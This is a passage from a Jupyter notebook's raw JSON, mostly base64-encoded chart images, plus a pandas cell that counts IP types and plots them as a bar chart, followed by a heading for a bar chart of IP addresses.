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\n",
      "text/plain": [
       "<Figure size 1152x864 with 1 Axes>"
      ]
     },
     "metadata": {
      "needs_background": "light"
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "df_iptype=df_ip_filtered['IPType'].value_counts().to_frame(name='count').reset_index()\n",
    "df_iptype=df_iptype.rename(index=str, columns={\"index\": \"IPType\", \"count\": \"Count\"}).sort_values(by='Count',ascending='Count')\n",
    "df_iptype\n",
    "df_iptype.plot.bar(x='IPType',y='Count',figsize=(16,12))\n",
    "plt.title('Bar chart of IP Type');"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l5.2\">\n",
    "\n",
    "### 5.2 Bar chart for IP Addresses"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "image/png": "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